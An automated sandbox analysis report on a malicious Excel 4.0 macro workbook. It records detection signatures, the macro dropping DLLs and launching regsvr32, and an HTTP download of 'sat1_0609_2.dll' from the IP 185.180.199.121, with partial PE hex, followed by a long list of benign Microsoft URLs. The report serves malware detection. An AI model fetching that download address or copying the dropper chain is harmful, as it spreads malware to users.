Analysis Report Delivery_Information_7038598.xlsb

Overview

General Information

Sample Name: Delivery_Information_7038598.xlsb
Analysis ID: 432152
MD5: aa12a71a4c31152958b75aa2cc0dd605
SHA1: 1709bd79ab07bc915d19b351a0c6000fafb91d70
SHA256: 201d6c214af9eea64e1882a17b2b14a789c50aa6202192b5474cd890bae4f1bf
Infos:

Most interesting Screenshot:

Detection

Hidden Macro 4.0
Score: 88
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Document exploit detected (creates forbidden files)
Document exploit detected (drops PE files)
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Document exploit detected (UrlDownloadToFile)
Document exploit detected (process start blacklist hit)
Drops PE files to the user root directory
Found Excel 4.0 Macro with suspicious formulas
Office process drops PE file
Sigma detected: Microsoft Office Product Spawning Windows Shell
Checks if the current process is being debugged
Downloads executable code via HTTP
Drops PE files
Drops PE files to the user directory
Found dropped PE file which has not been started or loaded
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Registers a DLL
Tries to load missing DLLs
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara detected Xls With Macro 4.0

Classification

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File opened: C:\Windows\SysWOW64\MSVCR100.dll Jump to behavior

Software Vulnerabilities:

barindex
Document exploit detected (creates forbidden files)
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\sat1_0609_2[1].dll Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File created: C:\Users\user\kdldyeff.dll Jump to behavior
Document exploit detected (drops PE files)
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File created: sat1_0609_2[1].dll.0.dr Jump to dropped file
Document exploit detected (UrlDownloadToFile)
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Section loaded: unknown origin: URLDownloadToFileA Jump to behavior
Document exploit detected (process start blacklist hit)
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process created: C:\Windows\SysWOW64\regsvr32.exe
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.4:49747 -> 185.180.199.121:80
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.4:49747 -> 185.180.199.121:80

Networking:

barindex
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 09 Jun 2021 17:46:14 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.3.28Last-Modified: Wed, 09 Jun 2021 13:51:29 GMTETag: "62de0-5c4559247da40"Accept-Ranges: bytesContent-Length: 404960Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 61 b6 fb 1c 25 d7 95 4f 25 d7 95 4f 25 d7 95 4f 4a a1 0b 4f 3f d7 95 4f 4a a1 3f 4f a7 d7 95 4f 2c af 06 4f 22 d7 95 4f 25 d7 94 4f 7f d7 95 4f 4a a1 3e 4f 0a d7 95 4f 4a a1 0e 4f 24 d7 95 4f 4a a1 0f 4f 24 d7 95 4f 4a a1 08 4f 24 d7 95 4f 52 69 63 68 25 d7 95 4f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ed c3 c0 60 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0a 00 00 7a 01 00 00 8c 04 00 00 00 00 00 c1 73 00 00 00 10 00 00 00 90 01 00 00 00 00 10 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 06 00 00 04 00 00 c7 7b 06 00 02 00 40 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 f0 e9 01 00 51 00 00 00 34 e2 01 00 50 00 00 00 00 30 02 00 00 f6 03 00 00 00 00 00 00 00 00 00 00 0a 06 00 e0 23 00 00 00 30 06 00 e4 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 cd 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 90 01 00 60 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 7d 79 01 00 00 10 00 00 00 7a 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 41 5a 00 00 00 90 01 00 00 5c 00 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 c8 39 00 00 00 f0 01 00 00 1a 00 00 00 da 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 f6 03 00 00 30 02 00 00 f6 03 00 00 f4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 9a 1f 00 00 00 30 06 00 00 20 00 00 00 ea 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /sat1_0609_2.dll HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 185.180.199.121Connection: Keep-Alive
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: unknown TCP traffic detected without corresponding DNS query: 185.180.199.121
Source: global traffic HTTP traffic detected: GET /sat1_0609_2.dll HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 185.180.199.121Connection: Keep-Alive
Source: sat1_0609_2[1].dll.0.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: sat1_0609_2[1].dll.0.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: sat1_0609_2[1].dll.0.dr String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: sat1_0609_2[1].dll.0.dr String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: sat1_0609_2[1].dll.0.dr String found in binary or memory: http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s
Source: sat1_0609_2[1].dll.0.dr String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: sat1_0609_2[1].dll.0.dr String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: sat1_0609_2[1].dll.0.dr String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: sat1_0609_2[1].dll.0.dr String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: sat1_0609_2[1].dll.0.dr String found in binary or memory: http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#
Source: sat1_0609_2[1].dll.0.dr String found in binary or memory: http://ocsp.comodoca.com0
Source: sat1_0609_2[1].dll.0.dr String found in binary or memory: http://ocsp.digicert.com0C
Source: sat1_0609_2[1].dll.0.dr String found in binary or memory: http://ocsp.digicert.com0O
Source: sat1_0609_2[1].dll.0.dr String found in binary or memory: http://ocsp.sectigo.com0
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: http://weather.service.msn.com/data.aspx
Source: sat1_0609_2[1].dll.0.dr String found in binary or memory: http://www.digicert.com/CPS0
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://addinsinstallation.store.office.com/app/download
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/preinstalled
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://addinslicensing.store.office.com/commerce/query
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://analysis.windows.net/powerbi/api
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://api.aadrm.com/
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://api.addins.store.office.com/app/query
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://api.cortana.ai
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://api.diagnostics.office.com
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://api.diagnosticssdf.office.com
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://api.microsoftstream.com/api/
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://api.office.net
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://api.onedrive.com
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://api.powerbi.com/beta/myorg/imports
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://apis.live.net/v5.0/
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://arc.msn.com/v4/api/selection
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://augloop.office.com
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://augloop.office.com/v2
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://autodiscover-s.outlook.com/
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://cdn.entity.
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://clients.config.office.net/
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://config.edge.skype.com
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://cortana.ai
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://cortana.ai/api
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://cr.office.com
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://dataservice.o365filtering.com
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://dataservice.o365filtering.com/
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://dev.cortana.ai
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://devnull.onenote.com
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://directory.services.
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://ecs.office.com/config/v2/Office
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://entitlement.diagnostics.office.com
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://globaldisco.crm.dynamics.com
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://graph.ppe.windows.net
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://graph.ppe.windows.net/
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://graph.windows.net
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://graph.windows.net/
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://incidents.diagnostics.office.com
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://lifecycle.office.com
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://login.microsoftonline.com/
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://login.windows.local
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://management.azure.com
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://management.azure.com/
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://messaging.office.com/
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://ncus.contentsync.
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://ncus.pagecontentsync.
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://officeapps.live.com
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://officeci.azurewebsites.net/api/
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://onedrive.live.com
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://onedrive.live.com/embed?
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://outlook.office.com/
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://outlook.office365.com/
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://pages.store.office.com/appshome.aspx?productgroup=Outlook
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://pages.store.office.com/webapplandingpage.aspx
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://powerlift.acompli.net
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.dr String found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
